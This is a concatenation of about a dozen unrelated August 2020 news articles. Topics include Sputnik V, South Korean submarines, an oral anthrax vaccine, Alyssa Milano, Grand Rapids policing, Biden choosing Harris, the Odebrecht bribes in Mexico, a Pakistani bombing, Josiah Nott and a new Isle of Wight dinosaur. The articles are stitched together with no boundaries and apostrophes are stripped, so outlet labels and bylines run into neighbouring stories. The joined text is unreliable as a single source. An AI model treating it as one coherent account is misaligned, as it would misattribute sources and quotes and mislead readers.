vaccine for the coronavirus. Russian president Vladimir Putin announced on Tuesday morning that his country had discovered the first effective treatment for the coronavirus, calling the vaccine Sputnik V. However, Gottlieb said that the announcement most likely amounted to propaganda. I wouldnt take it, certainly not outside a clinical trial right now, Gottlieb told CNBCs Squawk Box regarding the vaccine. It appears that its only been tested in several hundred patients at most. Typically, a vaccine must go through clinical trials on thousands of people before doctors draw conclusions about its efficacy. Russia was reported to be behind disinformation campaigns to sow doubts in U.S. about our Covid vaccines, Gottlieb wrote on Twitter. Todays news that they approved a vaccine on the equivalent of phase 1 data may be another effort to stoke doubts or goad U.S. into forcing early action on our vaccines. Russia is not the only country that may be attempting to complicate U.S. vaccine research efforts. The Trump administration has warned that Chinese and Iranian hackers are attempting to damage American vaccine research and development through cyber attacks. There are several vaccines in development in the U.S., with Modernas candidate currently in phase-3 clinical trials involving 30,000 patients. A vaccine produced by Oxford University is also heading to phase-3 trials in the U.S. More from National Review South Korea plans to build a 4,000-ton nuclear-powered submarine and an "iron dome" in the capital area that can fend off long-range artillery attacks from North Korea. The Defense Ministry released its mid-term plans on Monday, which pledge W300.7 trillion to the military over the next five years, with the defense budget expected to exceed W60 trillion in 2024 (US$1=W1,188). The 4,000-ton sub, much larger than the 3,000-ton sub currently under construction, is to be armed with ballistic missiles and powered by a nuclear reactor. That may require a revision to the nuclear pact with the U.S., which bans South Korea from using nuclear energy for military purposes. But deputy national security adviser Kim Hyun-chong late last month told reporters that the building of a nuclear-powered sub "has nothing do with the nuclear pact." He said a revision of missile guidelines from the U.S., which removed all restrictions on using solid fuel rockets, will give Seoul greater independence to defend the country and the government's plan to build a nuclear-powered submarine is part of that. The ministry also hopes develop an "iron dome" to fend off long-range artillery attacks on Seoul and surroundings with a goal of deploying it in the late 2020s. This will be similar to an Israeli mobile air defense system aimed at intercepting incoming artillery rounds with missile launchers set up at strategic locations. North Korea has deployed about 1,000 long-range artillery pieces near the border. The ministry plans also include building a 30,000-ton light aircraft carrier with the goal of deploying it in early 2030. The College of Veterinary Medicine & Biomedical Sciences team is working toward a vaccine that would be easier to deliver There may soon be a new weapon in the centuries-old battle against anthrax in wildlife thanks to groundbreaking work at the Texas A&M University College of Veterinary Medicine & Biomedical Sciences (CVMBS). Anthrax, a disease caused by a bacterium called Bacillus anthracis, contaminates surface soil and grasses, where it may be ingested or inhaled by livestock or grazing wildlife. This is especially common in the western Texas Hill Country, where each year the disease kills livestock and wildlife. While normally not an attention-grabbing problem, a spike of cases in 2019 made headlines around the state. According to Dr. Jamie Benn Felix, a postdoctoral research associate in the Cook Wildlife Lab led by CVMBS Department of Veterinary Pathobiology's (VTPB) Dr. Walt Cook, that spike may have been responsible for the deaths of more than 10,000 animals. "If you assume the economic value for each animal was $1,000, which is probably extremely low given the number of exotic species on some of the ranches, you're looking at an economic loss of $10 million in just a few months," she said. "And given the problems with reporting cases, it could be significantly higher than that." The good news is that there is already a vaccine for anthrax, which many livestock owners administer annually. Unfortunately, it can only be administered with an injection that is time consuming for livestock and not feasible for wildlife. With that in mind, Benn Felix and the Cook Wildlife Lab team, in collaboration with VTPB researchers Dr. Allison Rice-Ficht and Dr. Thomas Ficht, went to work to attempt to create a formulation to deliver the vaccine orally, which would allow for potential distribution to wildlife. She recently published the results of a pilot study in Nature and is now moving on to the next round of tests. If successful, they will have developed the first effective oral vaccine against anthrax for wildlife. "The preliminary results showed that this concept has potential, so now we are starting up a deer study and we'll see where it goes from there," Benn Felix said. Anthrax is among the oldest enemies of microbiologists, and the current vaccination method -- using what's known as the Sterne strain -- is basically the same as it was 85 years ago when Max Sterne developed it, so an oral vaccine has been a goal for some time. In fact, in the past, many livestock owners trying to save time and effort would pour the vaccine over food, but previous testing by Benn Felix proved the ineffectiveness of this method. The main issue with an oral vaccine is the ability to keep the bacteria alive in the gastrointestinal tract long enough and in the right amount to produce the desired immune activity in the animal. To that end, other efforts have been made with different strains of the bacteria and other mediums, but have thus far not proven effective. Benn Felix's approach is both simpler and more complex -- simpler, because her approach uses the same strain that has been proven effective for decades, but more complex because of the use of a gel-like suspension. "Our idea is that with this oral anthrax vaccine, we can get it into a bait of some sort and then easily vaccinate these animals," Benn Felix said. "The formulation that we're using is the same live strain of bacteria from the current commercial vaccine put into a gel-like substance." Benn Felix compared the release of the vaccine in the gel-like substance, technically known as alginate encapsulation, to a common gumball machine. "It's the same general idea as those big glass gumball machines you would see in the mall or a store, in which you put a quarter and get a single gumball out," she said. "The gel holds a bunch of the live attenuated bacteria and it gradually releases some of that bacteria over time." Though they're currently still working at a small scale, Benn Felix and her team are keeping an eye to the distant future and considering how this vaccine might be implemented at a larger scale. One example they're looking at is what Dr. Tonie Rocke did at the National Wildlife Health Center in Madison, Wisconsin, with a plague vaccine for prairie dogs. "They put their vaccine into a bait that was flavored with peanut butter flavoring," Benn Felix said. "That is the same general idea that we're going for with this; we would just distribute the baits and then see how many were consumed, or we would have trail cameras that would see if there was any non-target species that ate any of it. "There are a lot of things that would go into formulating the bait -- making sure the vaccine is still stable and viable when it's in the bait and then seeing how it would affect or be consumed by wildlife or any other wildlife we don't want to have it," she said. Currently, one of Benn Felix's biggest obstacles is a lack of data on exactly how much damage is caused by anthrax in wildlife in Texas. Her team is actively reaching out to ranchers, hunters and other groups across the state in an effort to increase the reporting on anthrax cases. "If anthrax outbreaks aren't reported, it appears as if it's not an issue and the federal government and other organizations don't prioritize funding," Benn Felix said. "I didn't realize this was even an issue until I moved to Texas. Reporting outbreaks will help generate critical data about this issue and demonstrate as a fact what we down here already know, which is that it's a huge issue." ### Alyssa Milano has opened up about her struggles with COVID-19. The "Desperate Housewives" alum took a break from her usual activism posts and gave her fans an update regarding her post-coronavirus experience. Alyssa Milano Experiencing Hair Loss as COVID-19 Side Effect On Instagram, the 47-year-old actress shared a video of herself wearing a blue bathrobe while brushing her long hair. She later revealed that she was experiencing hair loss, which she believes is a side effect of the coronavirus after she survived it. "Thought I'd show you what #Covid19 does to your hair. Please take this seriously. #WearADamnMask#LongHauler," she captioned her post. Milano began the clip by showing her 2.8 million IG followers the clumps of hair that was caught on her favorite detangler brush as she ran it through her hair. "I just wanted to show you the amount of hair coming out of my head as a result of COVID," Milano mentioned. "One brushing -- this is my hair loss from COVID-19," she continued while holding up strands of hair near the camera. The "Insatiable" actress concluded her video by pleading to the public to "wear a damn mask." Meanwhile, Milano's fans and friends flocked to the comments section to show their support and send their well wishes. "Oh baby : ( you are courageous AF to share with us. You are stunningly beautiful but I understand. I shed a lot of hair too. I had COVID in early March," one fan wrote. Diva Moms founder Lyss Stern also responded to alyssa's post and mentioned: "I am having the same hair issue taking many different vitamins (nothing helping)." Alyssa Milano Tests Positive for COVID-19 Antibodies Earlier this August, the Hollywood A-lister-turned-political activist revealed that she apparently got the virus despite tests showing she was negative. Milano took to Instagram to reveals that she has tested positive for COVID-19 antibodies after having tested negative for coronavirus last April -- despite feeling the symptoms at the time. "This was me on April 2nd after being sick for 2 weeks," Milano said as she shared a photo of herself wearing a breathing apparatus. "I had never been this kind of sick. Everything hurt. Loss of smell." Alyssa also mentioned that she experienced COVID-19 symptoms such as difficulty in breathing, loss of appetite, low-grade fever and a terrible headache. She added that she had lost nine pounds in just two weeks. U.S.A.'s Inaccurate Testing System The "Tempting Fate" star continued and even took aim at the inaccurate testing system in the U.S. while citing her experience. "At the very end of March I took two covid19 tests and both were negative. I also took a COVID antibody test (the finger prick test) after I was feeling a bit better. NEGATIVE," Milano wrote. "I am POSITIVE for COVID antibodies. I had Covid19. I just want you to be aware that our testing system is flawed and we don't know the real numbers." Milano concluded her post by warning everyone that the "illness is not a hoax." She also offered some words of advice for her followers to practice safety protocols like washing hands, wearing masks and observing social distancing. READ MORE: Boy-Next-Door to Ultimate Hunk: Noah Centineo Shows Off Hot Body Transformation GRAND RAPIDS, MI -- Grand Rapids elected leaders expressed unanimous support Tuesday for the draft strategic plan for reforming the police department, with some praising Police Chief Eric Payne for apologizing for police practices that have unfairly treated people of color and the poor. The departments draft strategic plan outlines actions aimed at increasing community-policing efforts, building community trust and decreasing crime, as well as how to track those outcomes, over the next three years. The plan includes efforts like making every patrol officer a community policing specialist and piloting a co-response strategy with officers and mental health workers. The plan comes after several local and national protests were held calling for policing reforms and an end to incidents of police brutality. The plan was presented by Payne to commissioners during their Committee of the Whole meeting Tuesday morning, Aug. 11. Although city commissioners do not vote on the plan, Payne has said hell take their opinions, as well as those of the public, into consideration before he presents a finalized version of the plan next month. Residents can comment on the plan online via a brief, guided survey through Aug. 25. Residents can also weigh in during the commissions 7 p.m. meeting Tuesday. Payne said a town hall is tentatively planned for later this month. My vision is that, in partnership with the community, we will become the safest mid-size city and the most trusted police department in the United States, Payne told commissioners in his opening remarks. That means, in partnership with our community, we will no longer police our community how we think it should be policed. Rather, we will police our community how it has told us it wants to be policed. Related: Grand Rapids police release draft strategic plan aimed at community policing, crime reduction The commissioners and the mayor spoke highly of the strategic plan. Im really appreciative of the fact that this starts with an outcome, goal-based approach, that were really looking at what were trying to achieve, said Commissioner Jon OConnor. I want you to know that Im in full support of this draft plan. I can say that with confidence, that when it comes to a strategic plan or any plan, it really comes down to obviously carrying out the steps to actually accomplish that, said Commissioner Joe Jones. You provided something in which you will have an opportunity to carry out, and the real hope is that you will be successful in this endeavor, but at least we have something to work from. Some points of the plan highlighted by commissioners include the incorporation of mental health workers, targeted policing in areas of high crime, a focus on empathy in policing and an emphasis on resident engagement and involvement in crime reduction. View: The Grand Rapids Police Departments draft strategic plan Jones, as well as commissioners Kurt Reppart and Melinda Ysasi, thanked Payne for acknowledging at the outset of the presentation the way in which policing, including in Grand Rapids, has disproportionately harmed communities of color and those who are lower income. I will acknowledge right now that, historically, segments of our community, including people of color, low-income residents and others, have been disproportionately impacted by policing practice and the criminal justice system, Payne said in his opening remarks. As the leader of the department now, I acknowledge this and want to say to the community members who have been negatively impacted or treated unfairly by the police -- that includes me -- I am sorry. I want you to know we are committed to providing fair and just police service for all individuals with integrity -- another value -- and when we make mistakes we will take responsibility for our actions and be transparent. The strategic plan and Paynes presentation did not include any actions pertaining to continued calls from residents to defund a portion of the police departments budget and reallocate those funds to community investments and social services and programs. Commissioner Senita Lenear advised Payne to calculate the costs and staffing changes associated with implementing actions outlined in the strategic plan before presenting the plan to the community. Many residents, she said, have voiced concerns about the departments budget over the past months. To go to them with the plan we have in front of us today, it doesnt include either of those two things, Lenear said. It doesnt include numbers of staffing and it doesnt include the budgetary implications of the changes youre suggesting, so I would recommend that you have some idea of estimates so as youre engaging the community they can hear a more comprehensive plan so they can weigh in to what theyve been advocating for for a few months now. City Manager Mark Washington fielded that comment. He said any associated costs with the strategic plan would come later, after the goals and outcomes of the plan are finalized and prioritized. Then conversations around funding would start. The chief is not prepared to have all of the conversations now around the financial issues. Im not prepared to have those conversations at this point. Were still in planning mode on our strategic plan, Washington said. In terms of those big questions about decreasing the cost of the police department, those will not be things that well be able to talk about matter-of-factly over the next couple of weeks. Under Washingtons timeline, city commissioners will be able to discuss potentially reprioritizing funds for fiscal year 2021 in November, despite some commissioners attempting to discuss police department allocations earlier this year. Im eager to hear what the feedback will be from the community, Reppart said of the proposed plan. They are calling for radical change right now. And, like Commissioner Ysasi said, theres going to be some hard conversations yet to have. Just like you leaned in with your team, I encourage and ask you to lean in with the community to weigh through some of those questions about, Is this radical enough? Read more: Fresh, local ingredients buoy Grand Rapids-area brewery launched amid coronavirus pandemic Botulism suspected in sturgeon deaths at Sleeping Bear Dunes Michigans wealthy counties are increasing their reliance on government assistance at a faster pace Source: Xinhua| 2020-08-12 06:12:19|Editor: huaxia Video Player Close File Video: "We will keep up that fight, because no one should be made to fight alone," says Kamala Harris, Senator of California who was picked by former U.S. Vice President and presumptive Democratic nominee Joe Biden on Aug. 11, 2020 to be his running mate. (Xinhua/Hu Yousong) Having spent most of her political career as a prosecutor, the senator rose to national prominence as a leader on both racial equality issues and criminal justice reform. WASHINGTON, Aug. 11 (Xinhua) -- Former U.S. Vice President and presumptive Democratic nominee Joe Biden announced on Tuesday that he has picked Senator Kamala Harris of California as his running mate. In a tweet, Biden called Harris "a fearless fighter for the little guy, and one of the country's finest public servants." A screenshot taken from the Twitter account of former U.S. Vice President and presumptive Democratic nominee Joe Biden shows he tweeted on Aug. 11, 2020 "Ive picked @KamalaHarris - a fearless fighter for the little guy, and one of the country's finest public servants - as my running mate." (Xinhua) Elected in 2016, Harris, now 55, was the second African American woman in history elected to the U.S. Senate. Before that, she served as attorney general of California. With Biden's selection, she becomes the third woman in U.S. history to serve as a vice presidential candidate, following Geraldine Ferraro as the Democratic vice presidential pick in 1984 and Sarah Palin as the Republican vice presidential pick in 2008. "Back when Kamala was Attorney General, she worked closely with Beau," Biden continued in his tweet, referring to his late son who was then the attorney general of Delaware and who died in 2015 from brain cancer. "I watched as they took on the big banks, lifted up working people, and protected women and kids from abuse. I was proud then, and I'm proud now to have her as my partner in this campaign." A screenshot taken from the Twitter account of Kamala Harris, Senator of California, shows that she tweeted on Aug. 11, 2020 that former U.S. Vice President and presumptive Democratic nominee "@Joe Biden can unify the American people because he's spent his life fighting for us. And as president, he'll build an America that lives up to our ideals. I'm honored to join him as our party's nominee for Vice President, and do what it takes to make him our Commander-in-Chief." (Xinhua) In a tweet following Biden's announcement, Harris hailed the presumptive Democratic nominee as someone who "can unify the American people because he's spent his life fighting for us. And as president, he'll build an America that lives up to our ideals." "I'm honored to join him as our party's nominee for Vice President, and do what it takes to make him our Commander-in-Chief," she added. File photo taken on June 27, 2019 shows Senator Kamala Harris of California interviewed after the second night of the first Democratic primary debate in Miami, Florida, the United States. (Xinhua/Liu Jie) The daughter of Indian and Jamaican immigrants, Harris announced her bid for the White House in January 2019. Due to a shortage of funds, she dropped out of the race less than a year later. In March 2020, Harris, who famously called out Biden over racial issues in a Democratic primary debate, endorsed him. Having spent most of her political career as a prosecutor, the senator rose to national prominence as a leader on both racial equality issues and criminal justice reform. "She's been a leader on criminal justice and marriage equality. And she has focused like a laser on the racial disparities as a result of the coronavirus," Biden said Tuesday of Harris, who, like himself, is considered a moderate Democrat. Combo photo shows former U.S. Vice President and presumptive Democratic nominee Joe Biden (L) and Senator Kamala Harris of California delivering their respective speeches on different occasions. (Xinhua) Harris winning the bid for vice presidential candidacy capped a long process of which the result was previously expected in the first week of August. Biden, who has promised to name a female running mate, postponed his decision as the contest became increasingly more fluid than observers had thought, with Suzan Rice, former national security adviser in the administration of former president Barack Obama, and Michigan Governor Gretchen Whitmer seemingly gaining momentum in the final days leading up to the announcement. MEXICO CITY - Mexicans were inundated by a slick, expensive ad campaign on behalf of front-running presidential candidate Enrique Pena Nieto for the 2012 election, but few then suspected who is now being alleged to have paid for it Brazilian construction giant Odebrecht, which has admitted to involvement in widespread corruption in Latin America. Mexican Attorney General Alejandro Gertz Manero Gertz said Wednesday that the case illustrates how the perfect dictatorship a term used to describe Pena Nietos old ruling Institutional Revolutionary Party was created to break the law, to loot and to enforce submission. Few things could have been further from most peoples minds when the young, handsome Pena Nieto launched his slick presidential campaign in 2012, promising reform and modernization. But behind it all, he was allegedly using the corrupt old practices his party had perfected over seven decades in power. This is the double language, where one can be corrupt but also good, where one can be positive and at the time loot the country, Gertz Manero said during a call-in forum. One can have five or ten masks, according to whatever serves your purpose, but in the end it only leads to the destruction of the country. A day earlier, Gertz Manero said the former head of Mexicos state-run oil company has testified that Pena Nieto and the man who became the finance secretary, Luis Videgaray, instructed him to pay foreign campaign consultants in 2012 with more than $4 million in bribes received from Odebrecht. Emilio Lozoya, the Pemex chief under Pena Nieto who has offered to co-operate with investigators in return for leniency in his own corruption case, has told prosecutors that he has proof, including receipts and video, of the bribes that Odebrecht paid in return for getting future public works contracts in Mexico. Lozoya was extradited from Spain last month after months on the run to avoid money laundering charges. Gertz Manero defended the deal, which has allowed Lozoya to co-operate with investigations while under a form of house arrest, saying that it is giving us the results that I expected we would get. Earlier Wednesday, President Andres Manuel Lopez Obrador said prosecutors should make public as much about the alleged corruption as possible without jeopardizing the investigation. Some have suggested Lopez Obrador is revealing the investigation to discredit opposition parties ahead of the 2021 mid-term elections for congressional seats and governorships. Mexican law usually prohibits prosecutors from revealing details from ongoing cases. Lopez Obrador defended his administrations actions. You have to protect due process, but you also have to make it as transparent as you can, he said. I would say everything, that public life should be more public each day. Those named are going to be called in and they will have to give statements. Pena Nieto and Videgaray did not comment on the accusations. Videgaray is currently a faculty member at the Massachusetts Institute of Technologys Sloan School of Management. He did not immediately respond to an email seeking comment. Gertz Manero has said that once investigators vet Lozoyas information he will call on Pena Nieto and Videgaray to give statements. In 2012, supporters of Lopez Obrador then making his second unsuccessful bid for the presidency accused Pena Nietos campaign of employing about 20 foreign advisers, including some from South America, Spain and the United States. At the time, Pena Nietos party denied those people worked for his campaign, and prosecutors have not identified the campaign advisers who allegedly got the money. When Pena Nietos ads started appearing on television in 2012, the production values and locations were far beyond the reach of Lopez Obrador, who could barely afford microphones for the small rallies he held in town squares. Pena Nieto appeared in a series of slick 30-second ads filmed in each of Mexicos 31 states, where the telegenic, neatly groomed candidate was shown hugging and shaking hands with people of each state. Pena Nietos campaign was so carefully managed that the former soap opera star he married just before the campaign and from whom he split just two months after leaving office appeared to many Mexicans to be part of the election plan. After winning, Pena Nieto introduced a series of historical reforms favouring the private sector, including an energy reform that opened the oil sector to foreign companies. But the alleged bribes from Odebrecht didnt stop with the campaign, prosecutors said. Lozoya also alleges that Pena Nieto and Videgaray directed him to pay bribes to six federal lawmakers one deputy and five senators for their votes on controversial structural reforms in 2013 and 2014, Gertz Manero said. In the regions largest graft scandal, Odebrecht has admitted to paying nearly $800 million in bribes, much of it to officials in Latin America who rewarded the company with construction contracts. The scandal has ended the careers of some of Latin Americas most prominent politicians and incited a regional reckoning on deeply entrenched corruption. Gertz Manero said the investigation would go as high as needed, and could change the country. I do not think it is fair that in the country, things dont go beyond scapegoats and low-level operators. That does not give us justice, Gertz Manero said. So, no, this is about nothing more than getting to the bottom of things and finding out what really happened. And if what this man is saying is true, that there was a real plot and a conspiracy that originated in the government and from the seat of power, that has an importance for the country we cannot devalue. ___ Associated Press writer Carlos Rodriguez contributed to this report. Read more about: More seafarers on a Russia-flagged ship docked in the southern port city of Busan were confirmed to have been infected with the new coronavirus, health authorities said Tuesday. Four additional Indonesian sailors on the fishing vessel have tested positive for COVID-19. Health authorities believe they might have contracted the virus through the captain of the ship, who tested positive for the novel coronavirus last week. So far, eight virus cases have been traced to the Russia-flagged ship. Since June, health authorities have detected more than 90 virus cases at Russian ships docked in Busan. Since Aug. 3, South Korea has required crewmen of ships departing from Russia to submit a certificate showing they tested negative for the new coronavirus upon arriving in South Korea. The certificates must be issued within 48 hours prior to the departure. Health authorities have also been conducting onboard quarantine checks of Russian ships arriving in Busan ports since late June. (Yonhap) Source: Xinhua| 2020-08-11 13:15:26|Editor: huaxia Video Player Close File photo shows the national flags of China (R) and the United States as well as the flag of Washington D.C. on the Constitution Avenue in Washington, capital of the United States. (Xinhua/Bao Dandan) "While China and the United States will likely not always agree on things, direct dialogue and cordial relations are far better than what we're currently seeing," said a U.S. political expert. He stressed "a crying need to step back, take a deep breath, and eliminate the zero-sum mindset on China-U.S. relations." HOUSTON, Aug. 11 (Xinhua) -- Given that U.S.-China ties are the world's most important bilateral relationship, it's essential that both countries do what they can to pursue comprehensive engagement, a U.S. political expert has said. "While China and the United States will likely not always agree on things, direct dialogue and cordial relations are far better than what we're currently seeing," Jon R. Taylor, professor and chair of the Department of Political Science and Geography at the University of Texas at San Antonio, told Xinhua recently. The current situation is "in large part" because of "an aggressive sea-change in U.S. policy towards China in the past three years," Taylor added. On April 11, 1993, former U.S. President Richard Nixon made his third visit to Hangzhou City. (Xinhua/Tan Jin) Reviewing nearly 50 years of engagement and over 40 years of normalized relations between the two countries, the expert said he felt sad that the world is witnessing "the biggest reset of U.S. policy towards China since Nixon's visit in 1972." Turning to the recent remarks of some Washington politicians, Taylor said "it has become increasingly clear that they aim to turn China-U.S. relations completely on its head," adding that "blaming China for a host of American ills plays well with certain voters." Taylor noted that Washington's current actions do nothing but coarsen an already contentious relationship, and could actually limit U.S. foreign policy options and could also hurt the United States domestically. "A recommitment by the United States to broad, yet realistic, engagement would be an appropriate answer," he said. "The stakes are far too high to avoid wide-ranging discussions on a host of areas of mutual concern." Chinese State Councilor and Foreign Minister Wang Yi gives an exclusive interview to Xinhua on China-U.S. ties in Beijing, capital of China, Aug. 5, 2020. (Xinhua/Zhai Jianlan) As Chinese State Councilor and Foreign Minister Wang Yi said during an exclusive interview with Xinhua on Aug. 5, the U.S. move to turn China into an adversary is a fundamental, strategic miscalculation, which means that the United States is funneling its strategic resources in the wrong area. "We are always ready to develop a China-U.S. relationship featuring no conflict, no confrontation, mutual respect and win-win cooperation based on coordination, cooperation and stability," Wang said. Taylor also stressed "a crying need to step back, take a deep breath, and eliminate the zero-sum mindset on China-U.S. relations." "This has to end ... or it will likely lead to a new cold war," he said. "It would be a disaster for both countries and the world." Bomb Kills Five In Troubled Pakistani Border Town By RFE/RL's Radio Mashaal August 10, 2020 A bomb targeting a vehicle from Pakistan's Anti-Narcotics Force (ANF) exploded in a busy market in southwestern Pakistan near the Afghan border on August 10, killing at least five people and wounding 10 others, police and hospital officials said. Responsibility for the attack in the troubled border town of Chaman was claimed by Jamaat ul-Ahrar (JuA), a splinter group of the Pakistani Taliban, in a message circulated to journalists in Pakistan. Authorities say the bomb had been attached to a motorcycle and detonated by remote control. Zakaullah Durrani, the deputy chief of the Chaman city police, told RFE/RL that all those killed by the explosion were civilians. Durrani said two members of the ANF also were wounded in the blast and that a total of seven wounded victims had been hospitalized in critical condition. Security forces and police cordoned off the area. Residents said several shops and vehicles were damaged. Prime Minister Imran Khan condemned the attack. The incident follows violence by Pakistani troops who opened fire at a rally in Chaman organized by minority Pashtun workers who were demanding the reopening of the nearby border crossing into Afghanistan. The security forces killed at least three people and wounded 13 in that confrontation. Shortly after security forces fired on the rally, Pakistani and Afghan troops in the area also exchanged fire. Both sides accused the other of firing first. Afghan officials said nine people were killed in the cross-border fire. The border crossing near Chaman has been closed since March due to the coronavirus pandemic, preventing Pashtun residents from crossing into Afghanistan to work as day laborers. With reporting by AP and dpa Source: https://www.rferl.org/a/bomb-kills-five-in-troubled- pakistani-border-town/30775832.html Copyright (c) 2020. RFE/RL, Inc. Reprinted with the permission of Radio Free Europe/Radio Liberty, 1201 Connecticut Ave., N.W. Washington DC 20036. NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address Christopher D.E. Willoughby (@antiquatedmeds) grew up in Vestavia Hills and received his Ph.D. in history from Tulane University. Currently, he is a Visiting Fellow at the Center for Humanities & Information at The Pennsylvania State University, where he is writing a book on the history of racial science and slavery in U.S. medical schools, which is under advance contract with the University of North Carolina Press. Last week, the University of Alabama changed the name of a building from Nott Hall to Honors Hall. They removed the name because of nineteenth-century medical professor Josiah Notts racist pro-slavery advocacy. The move was long overdue, and Josiah Nott was more than just another racist, Alabama enslaver related to the schools founding era. In the three decades preceding the Civil War, Josiah Nott established himself as one the premier advocates for polygenesis. Polygenists argued that each human race was a distinct species and that God created them separately. Based in this idea, Nott argued that Black people were the least intelligent but best fit for hard labor in the South. Its easy to see how these ideas could be used to support slavery, and they would be considered pseudo-science today. Prior to the 1859 publication of Charles Darwins theory of natural selection, this brand of racism was widely adopted by white scientists. While many whites believed in the inherited inferiority of African Americans, few wrote as much on the subject or were as influential as Nott. Nott grew up in Columbia, South Carolina. In the 1820s and 1830s, he studied medicine in New York City, Philadelphia, and Paris. By 1850 in Mobile, he owned sixteen enslaved people. Through his connections to both Southern political elites like John C. Calhoun and international medical elites, Nott established a wide influence. Notts books, lectures, and popular articles brought these scientific ideas to the reading public. With his 1854 co-authored book Types of Mankind, Nott published perhaps the most influential work on polygenesis aimed at both academic and popular audiences. It went through many editions and was purchased by readers around the world. One bard even wrote a song defending the text from religious leaders, who believed Nott was engaged in heresy. Notts work was so dangerous, because he made slavery appear natural and based in biology. He was a part of a cohort of scholars arguing that polygenesis was proven by skull size. Using scientifically faulty methods, they measured the capacity of thousands of human crania. They argued (falsely) that Black people had naturally smaller crania which correlated to smaller brains and less intelligence. Nott and other polygenists even used their theory to keep groups separated, sexually. He argued that mixed-race children of Black and white people were not as fertile as pure races. Furthermore, he complained that interracial coupling could lead to the destruction of both groups. Ironically, likely a majority of southern mixed-race children derived from white enslavers rape of enslaved Black women, despite whites fears of the contrary. Polygenists again baked into their theory another belief that conveniently gave scientific grounds for white supremacy. As per usual, Josiah Nott was at the center of these ideas. In conclusion, Josiah Nott used now discredited science to justify slavery as biologically ordained. He not only participated in this system that stole the lives and labor of millions, but his writings also gave slavery the veneer of being scientific. Changing the name of Nott Hall represents one small but important step toward reckoning with Alabama and universities historic support for white supremacy and slavery. Scientists in Southampton believe four bones recently found on the Isle of Wight belong to a new species of theropod dinosaur A new study by Palaeontologists at the University of Southampton suggests four bones recently found on the Isle of Wight belong to new species of theropod dinosaur, the group that includes Tyrannosaurus rex and modern-day birds. The dinosaur lived in the Cretaceous period 115 million years ago and is estimated to have been up to four metres long. The bones were discovered on the foreshore at Shanklin last year and are from the neck, back and tail of the new dinosaur, which has been named Vectaerovenator inopinatus. The name refers to the large air spaces in some of the bones, one of the traits that helped the scientists identify its theropod origins. These air sacs, also seen in modern birds, were extensions of the lung, and it is likely they helped fuel an efficient breathing system while also making the skeleton lighter. The fossils were found over a period of weeks in 2019 in three separate discoveries, two by individuals and one by a family group, who all handed in their finds to the nearby Dinosaur Isle Museum at Sandown. The scientific study has confirmed the fossils are very likely to be from the same individual dinosaur, with the exact location and timing of the finds adding to this belief. Robin Ward, a regular fossil hunter from Stratford-upon-Avon, was with his family visiting the Isle of Wight when they made their discovery. He said: "The joy of finding the bones we discovered was absolutely fantastic. I thought they were special and so took them along when we visited Dinosaur Isle Museum. They immediately knew these were something rare and asked if we could donate them to the museum to be fully researched." James Lockyer, from Spalding, Lincolnshire was also visiting the Island when he found another of the bones. Also a regular fossil hunter, he said: "It looked different from marine reptile vertebrae I have come across in the past. I was searching a spot at Shanklin and had been told and read that I wouldn't find much there. However, I always make sure I search the areas others do not, and on this occasion it paid off." Paul Farrell, from Ryde, Isle of Wight, added: "I was walking along the beach, kicking stones and came across what looked like a bone from a dinosaur. I was really shocked to find out it could be a new species." After studying the four vertebrae, paleontologists from the University of Southampton confirmed that the bones are likely to belong to a genus of dinosaur previously unknown to science. Their findings will be published in the journal Papers in Palaeontology, in a paper co-authored by those who discovered the fossils. Chris Barker, a PhD student at the university who led the study, said: "We were struck by just how hollow this animal was - it's riddled with air spaces. Parts of its skeleton must have been rather delicate. "The record of theropod dinosaurs from the 'mid' Cretaceous period in Europe isn't that great, so it's been really exciting to be able to increase our understanding of the diversity of dinosaur species from this time. "You don't usually find dinosaurs in the deposits at Shanklin as they were laid down in a marine habitat. You're much more likely to find fossil oysters or drift wood, so this is a rare find indeed." It is likely that the Vectaerovenator lived in an area just north of where its remains were found, with the carcass having washed out into the shallow sea nearby. Chris Barker added: "Although we have enough material to be able to determine the general type of dinosaur, we'd ideally like to find more to refine our analysis. We are very grateful for the donation of these fossils to science and for the important role that citizen science can play in palaeontology." The Isle of Wight is renowned as one of the top locations for dinosaur remains in Europe, and the new Vectaerovenator fossils will now go on display at the Dinosaur Isle Museum at Sandown, which houses an internationally important collection. Museum curator, Dr Martin Munt, said: "This remarkable discovery of connected fossils by three different individuals and groups will add to the extensive collection we have and it's great we can now confirm their significance and put them on display for the public to marvel at. "We continue to undertake public field trips from the museum and would encourage anyone who finds unusual fossils to bring them in so we can take a closer look. However, fossil hunters should remember to stick to the foreshore, and avoid going near the cliffs which are among the most unstable on the Island." Isle of Wight Council Cabinet member for environment and heritage, Councillor John Hobart, said: "This is yet another terrific fossil find on the Island which sheds light on our prehistoric past - all the more so that it is an entirely new species. It will add to the many amazing items on display at the museum." ### A display explaining the new find is due to be on show in the main gallery of the museum from Wednesday 12 August. Due to Covid-19 restrictions, advance booking is required for museum visitors by calling (01983) 404344. The paper 'A highly pneumatic 'mid Cretaceous' theropod from the British Lower Greensand' by Chris Barker and those who discovered the fossils will be published in Papers in Palaeontology. The authors and University of Southampton have made their findings 'open access'. Former Vice President Joe Biden and Senator Kamala Harris (D-Calif.) before the second night of the second presidential Democratic candidates debate in Detroit, Mich., on July 31, 2019. (Reuters/Lucas Jackson) Biden Selects Kamala Harris as Running Mate Trump campaign responds, says Harris has 'gleefully embraced the lefts radical manifesto' Presumptive Democratic presidential nominee Joe Biden has selected Sen. Kamala Harris (D-Calif.) as his vice presidential running mate. I have the great honor to announce that Ive picked [Harris]a fearless fighter for the little guy, and one of the countrys finest public servantsas my running mate, he wrote in an announcement on Aug. 11. Back when Kamala was Attorney General, she worked closely with Beau, Bidens late son, he said. I watched as they took on the big banks, lifted up working people, and protected women and kids from abuse. I was proud then, and Im proud now to have her as my partner in this campaign. Before becoming a senator from California, Harris was the states attorney general, and San Franciscos district attorney before that. She also unsuccessfully ran for president before bowing out earlier this year and endorsing Biden. Bidens selection of Harris, 55, provides racial and gender diversity in an attempt to appeal to a broader spectrum of the Democratic Party. Harriss mother was a breast cancer researcher who immigrated to the United States from India in the 1960s, while her father, Donald Harris, originally from Jamaica, is an economist who worked for Stanford University and is a staunch Marxist. It also means that Harris would take over as president if Biden, 77, were to suffer a health issue while in office. Earlier this year, Biden has remarked to reporters that Im an old guy, and he would need someone who could immediately take over. Look, I thank God Im in great health. I work out. No, Im serious. You know, I work out every morning. Im in good shapeknock on wood, as my mother would say, he said in January. Notably, Harris was a co-author of the Democrats police reform legislation in the Senate in response to civil unrest, protests, and riots in the wake of George Floyds death. Former Vice President Joe Biden talks with Sens. Elizabeth Warren (C) and 